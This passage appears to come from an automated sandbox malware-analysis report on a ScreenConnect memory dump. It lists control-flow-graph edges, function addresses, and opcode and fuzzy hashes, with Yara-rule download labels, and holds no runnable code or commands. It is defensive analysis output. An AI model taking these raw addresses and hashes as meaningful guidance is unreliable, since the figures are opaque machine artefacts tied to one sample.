7ffebc446e08-7ffebc446e0a 380->389 390 7ffebc446e0c-7ffebc446e1b 380->390 392 7ffebc446d57-7ffebc446d59 381->392 393 7ffebc446d5b-7ffebc446d6a 381->393 387 7ffebc446b11-7ffebc446b26 383->387 384->387 402 7ffebc446b28-7ffebc446b2a 387->402 403 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 387->403 394 7ffebc446e1e-7ffebc446e20 389->394 390->394 397 7ffebc446d6d-7ffebc446d91 392->397 393->397 394->341 401 7ffebc446e26-7ffebc446e2e 394->401 397->380 401->328 405 7ffebc446b53-7ffebc446b61 402->405 403->405 408 7ffebc446b63-7ffebc446b65 405->408 409 7ffebc446b67-7ffebc446b75 405->409 410 7ffebc446b78-7ffebc446b79 408->410 409->410 412 7ffebc446b80-7ffebc446b81 410->412 413 7ffebc446b88-7ffebc446b8f 412->413 413->343 414 7ffebc446b95-7ffebc446b9c 413->414 414->343 415 7ffebc446ba2-7ffebc446bb9 414->415 417 7ffebc446bee-7ffebc446bf9 415->417 418 7ffebc446bbb-7ffebc446bcd 415->418 421 7ffebc446bff-7ffebc446c0e 417->421 422 7ffebc446bfb-7ffebc446bfd 417->422 423 7ffebc446bcf-7ffebc446bd1 418->423 424 7ffebc446bd3-7ffebc446be1 418->424 425 7ffebc446c11-7ffebc446c13 421->425 422->425 426 7ffebc446be4-7ffebc446be7 423->426 424->426 429 7ffebc446c19-7ffebc446c30 425->429 430 7ffebc446cc8-7ffebc446cd0 425->430 426->417 429->430 432 7ffebc446c36-7ffebc446c53 429->432 430->343 435 7ffebc446c5f 432->435 436 7ffebc446c55-7ffebc446c5d 432->436 437 7ffebc446c61-7ffebc446c63 435->437 436->437 437->430 438 7ffebc446c65-7ffebc446c6f 437->438 440 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 438->440 441 7ffebc446c7d-7ffebc446c85 438->441 440->343 440->441 443 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 441->443 444 7ffebc446c87-7ffebc446c88 441->444 443->343
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 294fc16a150e5d3c8f2562b1d92f70d22eb380a8d7f4d0a060295b461a9d68dc
                                                                                                                • Instruction ID: b37e7da95f9eeceb54f21f7c3baff82d28e02c695d5b4d708e2abdad75194f96
                                                                                                                • Opcode Fuzzy Hash: 294fc16a150e5d3c8f2562b1d92f70d22eb380a8d7f4d0a060295b461a9d68dc
                                                                                                                • Instruction Fuzzy Hash: 4391C330A8CE579FEBA5972C44506F977E2EF95308F64027DD64EC72B2DE28B9068341
                                                                                                                Function 00007FFEBC443D08 Relevance: .3, Instructions: 266COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6ddd437dd7a3edb84bdaca974fb3c7fcdbf5b8add17dea1b67d834a0c40ef296
                                                                                                                • Instruction ID: 4c005df38c14c86560d5566d7fd72c641c819429fa538a32f658bb13ceb1ed74
                                                                                                                • Opcode Fuzzy Hash: 6ddd437dd7a3edb84bdaca974fb3c7fcdbf5b8add17dea1b67d834a0c40ef296
                                                                                                                • Instruction Fuzzy Hash: C4516B3175DB1D4FEB5C9B1CB44527673C2EB99325B20033EDA8AC3275ED26E8434295
                                                                                                                Function 00007FFEBC445C67 Relevance: .2, Instructions: 227COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 541 7ffebc445c67-7ffebc445c7b 542 7ffebc445c81-7ffebc445c8c 541->542 543 7ffebc4469a2-7ffebc446a3a 541->543 542->543 561 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 543->561 562 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 543->562 573 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 561->573 574 7ffebc446a64-7ffebc446a6c 561->574 571 7ffebc446f72-7ffebc446f7d 562->571 572 7ffebc446e6c-7ffebc446e73 562->572 575 7ffebc446e75-7ffebc446e84 572->575 576 7ffebc446e86-7ffebc446e88 572->576 592 7ffebc446cfe-7ffebc446d08 573->592 593 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 573->593 580 7ffebc446a73-7ffebc446a76 574->580 575->576 586 7ffebc446e8a 575->586 578 7ffebc446e8f-7ffebc446eb3 576->578 589 7ffebc446eff-7ffebc446f03 578->589 590 7ffebc446eb5-7ffebc446eb6 578->590 583 7ffebc446a78-7ffebc446a7a 580->583 584 7ffebc446a7c-7ffebc446a8a 580->584 585 7ffebc446a8d-7ffebc446aa2 583->585 584->585 598 7ffebc446aa4-7ffebc446aa6 585->598 599 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 585->599 586->578 589->571 590->589 594 7ffebc446d1c 592->594 595 7ffebc446d0a-7ffebc446d1a 592->595 610 7ffebc446dfb-7ffebc446e06 593->610 611 7ffebc446d4a-7ffebc446d55 593->611 600 7ffebc446d1e-7ffebc446d1f 594->600 595->600 604 7ffebc446acf-7ffebc446ae4 598->604 599->604 600->593 613 7ffebc446ae6-7ffebc446ae8 604->613 614 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 604->614 619 7ffebc446e08-7ffebc446e0a 610->619 620 7ffebc446e0c-7ffebc446e1b 610->620 622 7ffebc446d57-7ffebc446d59 611->622 623 7ffebc446d5b-7ffebc446d6a 611->623 617 7ffebc446b11-7ffebc446b26 613->617 614->617 632 7ffebc446b28-7ffebc446b2a 617->632 633 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 617->633 624 7ffebc446e1e-7ffebc446e20 619->624 620->624 627 7ffebc446d6d-7ffebc446d91 622->627 623->627 624->571 631 7ffebc446e26-7ffebc446e2e 624->631 627->610 631->562 635 7ffebc446b53-7ffebc446b61 632->635 633->635 638 7ffebc446b63-7ffebc446b65 635->638 639 7ffebc446b67-7ffebc446b75 635->639 640 7ffebc446b78-7ffebc446b79 638->640 639->640 642 7ffebc446b80-7ffebc446b81 640->642 643 7ffebc446b88-7ffebc446b8f 642->643 643->573 644 7ffebc446b95-7ffebc446b9c 643->644 644->573 645 7ffebc446ba2-7ffebc446bb9 644->645 647 7ffebc446bee-7ffebc446bf9 645->647 648 7ffebc446bbb-7ffebc446bcd 645->648 651 7ffebc446bff-7ffebc446c0e 647->651 652 7ffebc446bfb-7ffebc446bfd 647->652 653 7ffebc446bcf-7ffebc446bd1 648->653 654 7ffebc446bd3-7ffebc446be1 648->654 655 7ffebc446c11-7ffebc446c13 651->655 652->655 656 7ffebc446be4-7ffebc446be7 653->656 654->656 659 7ffebc446c19-7ffebc446c30 655->659 660 7ffebc446cc8-7ffebc446cd0 655->660 656->647 659->660 662 7ffebc446c36-7ffebc446c53 659->662 660->573 665 7ffebc446c5f 662->665 666 7ffebc446c55-7ffebc446c5d 662->666 667 7ffebc446c61-7ffebc446c63 665->667 666->667 667->660 668 7ffebc446c65-7ffebc446c6f 667->668 670 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 668->670 671 7ffebc446c7d-7ffebc446c85 668->671 670->573 670->671 673 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 671->673 674 7ffebc446c87-7ffebc446c88 671->674 673->573
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 7638bb4293e83393ba533f442e03d49c0f6a4060aca6eae06b83acf7b0150782
                                                                                                                • Instruction ID: 740bc71da6f2dbe7af69dcdf8be7e04b2d4eca1ed0ad789a40fd82377e547746
                                                                                                                • Opcode Fuzzy Hash: 7638bb4293e83393ba533f442e03d49c0f6a4060aca6eae06b83acf7b0150782
                                                                                                                • Instruction Fuzzy Hash: 04719330A8CE5B4EE799A72C40616F937D3EF85348F640279D61ED32F2DE2CB9068241
                                                                                                                Function 00007FFEBC445D81 Relevance: .2, Instructions: 223COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 678 7ffebc445d81-7ffebc445d95 679 7ffebc4469ab-7ffebc446a3a 678->679 680 7ffebc445d9b-7ffebc445da5 678->680 696 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 679->696 697 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 679->697 680->679 708 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 696->708 709 7ffebc446a64-7ffebc446a6c 696->709 706 7ffebc446f72-7ffebc446f7d 697->706 707 7ffebc446e6c-7ffebc446e73 697->707 710 7ffebc446e75-7ffebc446e84 707->710 711 7ffebc446e86-7ffebc446e88 707->711 727 7ffebc446cfe-7ffebc446d08 708->727 728 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 708->728 715 7ffebc446a73-7ffebc446a76 709->715 710->711 721 7ffebc446e8a 710->721 713 7ffebc446e8f-7ffebc446eb3 711->713 724 7ffebc446eff-7ffebc446f03 713->724 725 7ffebc446eb5-7ffebc446eb6 713->725 718 7ffebc446a78-7ffebc446a7a 715->718 719 7ffebc446a7c-7ffebc446a8a 715->719 720 7ffebc446a8d-7ffebc446aa2 718->720 719->720 733 7ffebc446aa4-7ffebc446aa6 720->733 734 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 720->734 721->713 724->706 725->724 729 7ffebc446d1c 727->729 730 7ffebc446d0a-7ffebc446d1a 727->730 745 7ffebc446dfb-7ffebc446e06 728->745 746 7ffebc446d4a-7ffebc446d55 728->746 735 7ffebc446d1e-7ffebc446d1f 729->735 730->735 739 7ffebc446acf-7ffebc446ae4 733->739 734->739 735->728 748 7ffebc446ae6-7ffebc446ae8 739->748 749 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 739->749 754 7ffebc446e08-7ffebc446e0a 745->754 755 7ffebc446e0c-7ffebc446e1b 745->755 757 7ffebc446d57-7ffebc446d59 746->757 758 7ffebc446d5b-7ffebc446d6a 746->758 752 7ffebc446b11-7ffebc446b26 748->752 749->752 767 7ffebc446b28-7ffebc446b2a 752->767 768 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 752->768 759 7ffebc446e1e-7ffebc446e20 754->759 755->759 762 7ffebc446d6d-7ffebc446d91 757->762 758->762 759->706 766 7ffebc446e26-7ffebc446e2e 759->766 762->745 766->697 770 7ffebc446b53-7ffebc446b61 767->770 768->770 773 7ffebc446b63-7ffebc446b65 770->773 774 7ffebc446b67-7ffebc446b75 770->774 775 7ffebc446b78-7ffebc446b79 773->775 774->775 777 7ffebc446b80-7ffebc446b81 775->777 778 7ffebc446b88-7ffebc446b8f 777->778 778->708 779 7ffebc446b95-7ffebc446b9c 778->779 779->708 780 7ffebc446ba2-7ffebc446bb9 779->780 782 7ffebc446bee-7ffebc446bf9 780->782 783 7ffebc446bbb-7ffebc446bcd 780->783 786 7ffebc446bff-7ffebc446c0e 782->786 787 7ffebc446bfb-7ffebc446bfd 782->787 788 7ffebc446bcf-7ffebc446bd1 783->788 789 7ffebc446bd3-7ffebc446be1 783->789 790 7ffebc446c11-7ffebc446c13 786->790 787->790 791 7ffebc446be4-7ffebc446be7 788->791 789->791 794 7ffebc446c19-7ffebc446c30 790->794 795 7ffebc446cc8-7ffebc446cd0 790->795 791->782 794->795 797 7ffebc446c36-7ffebc446c53 794->797 795->708 800 7ffebc446c5f 797->800 801 7ffebc446c55-7ffebc446c5d 797->801 802 7ffebc446c61-7ffebc446c63 800->802 801->802 802->795 803 7ffebc446c65-7ffebc446c6f 802->803 805 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 803->805 806 7ffebc446c7d-7ffebc446c85 803->806 805->708 805->806 808 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 806->808 809 7ffebc446c87-7ffebc446c88 806->809 808->708
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: cfc490f82df3ac3baa123ae78346222ae13a7da7547544a496d738888c689204
                                                                                                                • Instruction ID: e5faf070abde7bea4efc7d5ec20707eda653ad4b27b973c45c884b003a9316a1
                                                                                                                • Opcode Fuzzy Hash: cfc490f82df3ac3baa123ae78346222ae13a7da7547544a496d738888c689204
                                                                                                                • Instruction Fuzzy Hash: 6671A530A8CE5B5EE799A72C40616F937D3EF85348F640279D61ED72F2DE2CB9068241
                                                                                                                Function 00007FFEBC445E09 Relevance: .2, Instructions: 219COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 813 7ffebc445e09-7ffebc445e1d 814 7ffebc4469b4-7ffebc446a3a 813->814 815 7ffebc445e23-7ffebc445e2d 813->815 829 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 814->829 830 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 814->830 815->814 841 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 829->841 842 7ffebc446a64-7ffebc446a6c 829->842 839 7ffebc446f72-7ffebc446f7d 830->839 840 7ffebc446e6c-7ffebc446e73 830->840 843 7ffebc446e75-7ffebc446e84 840->843 844 7ffebc446e86-7ffebc446e88 840->844 860 7ffebc446cfe-7ffebc446d08 841->860 861 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 841->861 848 7ffebc446a73-7ffebc446a76 842->848 843->844 854 7ffebc446e8a 843->854 846 7ffebc446e8f-7ffebc446eb3 844->846 857 7ffebc446eff-7ffebc446f03 846->857 858 7ffebc446eb5-7ffebc446eb6 846->858 851 7ffebc446a78-7ffebc446a7a 848->851 852 7ffebc446a7c-7ffebc446a8a 848->852 853 7ffebc446a8d-7ffebc446aa2 851->853 852->853 866 7ffebc446aa4-7ffebc446aa6 853->866 867 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 853->867 854->846 857->839 858->857 862 7ffebc446d1c 860->862 863 7ffebc446d0a-7ffebc446d1a 860->863 878 7ffebc446dfb-7ffebc446e06 861->878 879 7ffebc446d4a-7ffebc446d55 861->879 868 7ffebc446d1e-7ffebc446d1f 862->868 863->868 872 7ffebc446acf-7ffebc446ae4 866->872 867->872 868->861 881 7ffebc446ae6-7ffebc446ae8 872->881 882 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 872->882 887 7ffebc446e08-7ffebc446e0a 878->887 888 7ffebc446e0c-7ffebc446e1b 878->888 890 7ffebc446d57-7ffebc446d59 879->890 891 7ffebc446d5b-7ffebc446d6a 879->891 885 7ffebc446b11-7ffebc446b26 881->885 882->885 900 7ffebc446b28-7ffebc446b2a 885->900 901 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 885->901 892 7ffebc446e1e-7ffebc446e20 887->892 888->892 895 7ffebc446d6d-7ffebc446d91 890->895 891->895 892->839 899 7ffebc446e26-7ffebc446e2e 892->899 895->878 899->830 903 7ffebc446b53-7ffebc446b61 900->903 901->903 906 7ffebc446b63-7ffebc446b65 903->906 907 7ffebc446b67-7ffebc446b75 903->907 908 7ffebc446b78-7ffebc446b79 906->908 907->908 910 7ffebc446b80-7ffebc446b81 908->910 911 7ffebc446b88-7ffebc446b8f 910->911 911->841 912 7ffebc446b95-7ffebc446b9c 911->912 912->841 913 7ffebc446ba2-7ffebc446bb9 912->913 915 7ffebc446bee-7ffebc446bf9 913->915 916 7ffebc446bbb-7ffebc446bcd 913->916 919 7ffebc446bff-7ffebc446c0e 915->919 920 7ffebc446bfb-7ffebc446bfd 915->920 921 7ffebc446bcf-7ffebc446bd1 916->921 922 7ffebc446bd3-7ffebc446be1 916->922 923 7ffebc446c11-7ffebc446c13 919->923 920->923 924 7ffebc446be4-7ffebc446be7 921->924 922->924 927 7ffebc446c19-7ffebc446c30 923->927 928 7ffebc446cc8-7ffebc446cd0 923->928 924->915 927->928 930 7ffebc446c36-7ffebc446c53 927->930 928->841 933 7ffebc446c5f 930->933 934 7ffebc446c55-7ffebc446c5d 930->934 935 7ffebc446c61-7ffebc446c63 933->935 934->935 935->928 936 7ffebc446c65-7ffebc446c6f 935->936 938 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 936->938 939 7ffebc446c7d-7ffebc446c85 936->939 938->841 938->939 941 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 939->941 942 7ffebc446c87-7ffebc446c88 939->942 941->841
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 36fd3f2ce63592bf29e761e21d81262bdec4f4fc2ae6e600bbdd73a30f44575f
                                                                                                                • Instruction ID: f06e55997bdad1122efed7b1995bbca525c12e7e79f39eee6e36ca26ee44b5c0
                                                                                                                • Opcode Fuzzy Hash: 36fd3f2ce63592bf29e761e21d81262bdec4f4fc2ae6e600bbdd73a30f44575f
                                                                                                                • Instruction Fuzzy Hash: 7D71A430A8CE5B5EE7A5972C40616F977D3EF85348F640279D61ED32F2DE2CB9068240
                                                                                                                Function 00007FFEBC445FE3 Relevance: .2, Instructions: 215COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 946 7ffebc445fe3-7ffebc445ff7 947 7ffebc4469bd-7ffebc446a3a 946->947 948 7ffebc445ffd-7ffebc446007 946->948 960 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 947->960 961 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 947->961 948->947 972 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 960->972 973 7ffebc446a64-7ffebc446a6c 960->973 970 7ffebc446f72-7ffebc446f7d 961->970 971 7ffebc446e6c-7ffebc446e73 961->971 974 7ffebc446e75-7ffebc446e84 971->974 975 7ffebc446e86-7ffebc446e88 971->975 991 7ffebc446cfe-7ffebc446d08 972->991 992 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 972->992 979 7ffebc446a73-7ffebc446a76 973->979 974->975 985 7ffebc446e8a 974->985 977 7ffebc446e8f-7ffebc446eb3 975->977 988 7ffebc446eff-7ffebc446f03 977->988 989 7ffebc446eb5-7ffebc446eb6 977->989 982 7ffebc446a78-7ffebc446a7a 979->982 983 7ffebc446a7c-7ffebc446a8a 979->983 984 7ffebc446a8d-7ffebc446aa2 982->984 983->984 997 7ffebc446aa4-7ffebc446aa6 984->997 998 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 984->998 985->977 988->970 989->988 993 7ffebc446d1c 991->993 994 7ffebc446d0a-7ffebc446d1a 991->994 1009 7ffebc446dfb-7ffebc446e06 992->1009 1010 7ffebc446d4a-7ffebc446d55 992->1010 999 7ffebc446d1e-7ffebc446d1f 993->999 994->999 1003 7ffebc446acf-7ffebc446ae4 997->1003 998->1003 999->992 1012 7ffebc446ae6-7ffebc446ae8 1003->1012 1013 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 1003->1013 1018 7ffebc446e08-7ffebc446e0a 1009->1018 1019 7ffebc446e0c-7ffebc446e1b 1009->1019 1021 7ffebc446d57-7ffebc446d59 1010->1021 1022 7ffebc446d5b-7ffebc446d6a 1010->1022 1016 7ffebc446b11-7ffebc446b26 1012->1016 1013->1016 1031 7ffebc446b28-7ffebc446b2a 1016->1031 1032 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 1016->1032 1023 7ffebc446e1e-7ffebc446e20 1018->1023 1019->1023 1026 7ffebc446d6d-7ffebc446d91 1021->1026 1022->1026 1023->970 1030 7ffebc446e26-7ffebc446e2e 1023->1030 1026->1009 1030->961 1034 7ffebc446b53-7ffebc446b61 1031->1034 1032->1034 1037 7ffebc446b63-7ffebc446b65 1034->1037 1038 7ffebc446b67-7ffebc446b75 1034->1038 1039 7ffebc446b78-7ffebc446b79 1037->1039 1038->1039 1041 7ffebc446b80-7ffebc446b81 1039->1041 1042 7ffebc446b88-7ffebc446b8f 1041->1042 1042->972 1043 7ffebc446b95-7ffebc446b9c 1042->1043 1043->972 1044 7ffebc446ba2-7ffebc446bb9 1043->1044 1046 7ffebc446bee-7ffebc446bf9 1044->1046 1047 7ffebc446bbb-7ffebc446bcd 1044->1047 1050 7ffebc446bff-7ffebc446c0e 1046->1050 1051 7ffebc446bfb-7ffebc446bfd 1046->1051 1052 7ffebc446bcf-7ffebc446bd1 1047->1052 1053 7ffebc446bd3-7ffebc446be1 1047->1053 1054 7ffebc446c11-7ffebc446c13 1050->1054 1051->1054 1055 7ffebc446be4-7ffebc446be7 1052->1055 1053->1055 1058 7ffebc446c19-7ffebc446c30 1054->1058 1059 7ffebc446cc8-7ffebc446cd0 1054->1059 1055->1046 1058->1059 1061 7ffebc446c36-7ffebc446c53 1058->1061 1059->972 1064 7ffebc446c5f 1061->1064 1065 7ffebc446c55-7ffebc446c5d 1061->1065 1066 7ffebc446c61-7ffebc446c63 1064->1066 1065->1066 1066->1059 1067 7ffebc446c65-7ffebc446c6f 1066->1067 1069 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 1067->1069 1070 7ffebc446c7d-7ffebc446c85 1067->1070 1069->972 1069->1070 1072 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 1070->1072 1073 7ffebc446c87-7ffebc446c88 1070->1073 1072->972
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f9d8a9fbdc7676374ac137eae120d99e6e184fbc23b5c49deb5e7146c3423ca7
                                                                                                                • Instruction ID: dcb142849d4177b04642e787e4e7390fa6376e3d646797e3ea9f04ab07b0f738
                                                                                                                • Opcode Fuzzy Hash: f9d8a9fbdc7676374ac137eae120d99e6e184fbc23b5c49deb5e7146c3423ca7
                                                                                                                • Instruction Fuzzy Hash: 8971A430A8CE575EE7A9972C40616F937D3EF85348F640279D65ED72F2DE28B9068340
                                                                                                                Function 00007FFEBC44609D Relevance: .2, Instructions: 211COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 1077 7ffebc44609d-7ffebc4460b1 1078 7ffebc4460b7-7ffebc4460c1 1077->1078 1079 7ffebc4469c6-7ffebc446a3a 1077->1079 1078->1079 1089 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 1079->1089 1090 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 1079->1090 1101 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 1089->1101 1102 7ffebc446a64-7ffebc446a6c 1089->1102 1099 7ffebc446f72-7ffebc446f7d 1090->1099 1100 7ffebc446e6c-7ffebc446e73 1090->1100 1103 7ffebc446e75-7ffebc446e84 1100->1103 1104 7ffebc446e86-7ffebc446e88 1100->1104 1120 7ffebc446cfe-7ffebc446d08 1101->1120 1121 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 1101->1121 1108 7ffebc446a73-7ffebc446a76 1102->1108 1103->1104 1114 7ffebc446e8a 1103->1114 1106 7ffebc446e8f-7ffebc446eb3 1104->1106 1117 7ffebc446eff-7ffebc446f03 1106->1117 1118 7ffebc446eb5-7ffebc446eb6 1106->1118 1111 7ffebc446a78-7ffebc446a7a 1108->1111 1112 7ffebc446a7c-7ffebc446a8a 1108->1112 1113 7ffebc446a8d-7ffebc446aa2 1111->1113 1112->1113 1126 7ffebc446aa4-7ffebc446aa6 1113->1126 1127 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 1113->1127 1114->1106 1117->1099 1118->1117 1122 7ffebc446d1c 1120->1122 1123 7ffebc446d0a-7ffebc446d1a 1120->1123 1138 7ffebc446dfb-7ffebc446e06 1121->1138 1139 7ffebc446d4a-7ffebc446d55 1121->1139 1128 7ffebc446d1e-7ffebc446d1f 1122->1128 1123->1128 1132 7ffebc446acf-7ffebc446ae4 1126->1132 1127->1132 1128->1121 1141 7ffebc446ae6-7ffebc446ae8 1132->1141 1142 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 1132->1142 1147 7ffebc446e08-7ffebc446e0a 1138->1147 1148 7ffebc446e0c-7ffebc446e1b 1138->1148 1150 7ffebc446d57-7ffebc446d59 1139->1150 1151 7ffebc446d5b-7ffebc446d6a 1139->1151 1145 7ffebc446b11-7ffebc446b26 1141->1145 1142->1145 1160 7ffebc446b28-7ffebc446b2a 1145->1160 1161 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 1145->1161 1152 7ffebc446e1e-7ffebc446e20 1147->1152 1148->1152 1155 7ffebc446d6d-7ffebc446d91 1150->1155 1151->1155 1152->1099 1159 7ffebc446e26-7ffebc446e2e 1152->1159 1155->1138 1159->1090 1163 7ffebc446b53-7ffebc446b61 1160->1163 1161->1163 1166 7ffebc446b63-7ffebc446b65 1163->1166 1167 7ffebc446b67-7ffebc446b75 1163->1167 1168 7ffebc446b78-7ffebc446b79 1166->1168 1167->1168 1170 7ffebc446b80-7ffebc446b81 1168->1170 1171 7ffebc446b88-7ffebc446b8f 1170->1171 1171->1101 1172 7ffebc446b95-7ffebc446b9c 1171->1172 1172->1101 1173 7ffebc446ba2-7ffebc446bb9 1172->1173 1175 7ffebc446bee-7ffebc446bf9 1173->1175 1176 7ffebc446bbb-7ffebc446bcd 1173->1176 1179 7ffebc446bff-7ffebc446c0e 1175->1179 1180 7ffebc446bfb-7ffebc446bfd 1175->1180 1181 7ffebc446bcf-7ffebc446bd1 1176->1181 1182 7ffebc446bd3-7ffebc446be1 1176->1182 1183 7ffebc446c11-7ffebc446c13 1179->1183 1180->1183 1184 7ffebc446be4-7ffebc446be7 1181->1184 1182->1184 1187 7ffebc446c19-7ffebc446c30 1183->1187 1188 7ffebc446cc8-7ffebc446cd0 1183->1188 1184->1175 1187->1188 1190 7ffebc446c36-7ffebc446c53 1187->1190 1188->1101 1193 7ffebc446c5f 1190->1193 1194 7ffebc446c55-7ffebc446c5d 1190->1194 1195 7ffebc446c61-7ffebc446c63 1193->1195 1194->1195 1195->1188 1196 7ffebc446c65-7ffebc446c6f 1195->1196 1198 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 1196->1198 1199 7ffebc446c7d-7ffebc446c85 1196->1199 1198->1101 1198->1199 1201 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 1199->1201 1202 7ffebc446c87-7ffebc446c88 1199->1202 1201->1101
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5c692764dde81d36265aa05a86c64d03c6d7f2b39aca77ca66dda2835387bf1a
                                                                                                                • Instruction ID: cd34dd0f0ed1c0884965d2442920b2089f2ea461844238e5b34e77249f22d6b5
                                                                                                                • Opcode Fuzzy Hash: 5c692764dde81d36265aa05a86c64d03c6d7f2b39aca77ca66dda2835387bf1a
                                                                                                                • Instruction Fuzzy Hash: 7361A330A8CE5B5EE7A5A72C40616F937D3EF85348F640279D64ED72F2DE28B9068341
                                                                                                                Function 00007FFEBC446228 Relevance: .2, Instructions: 207COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
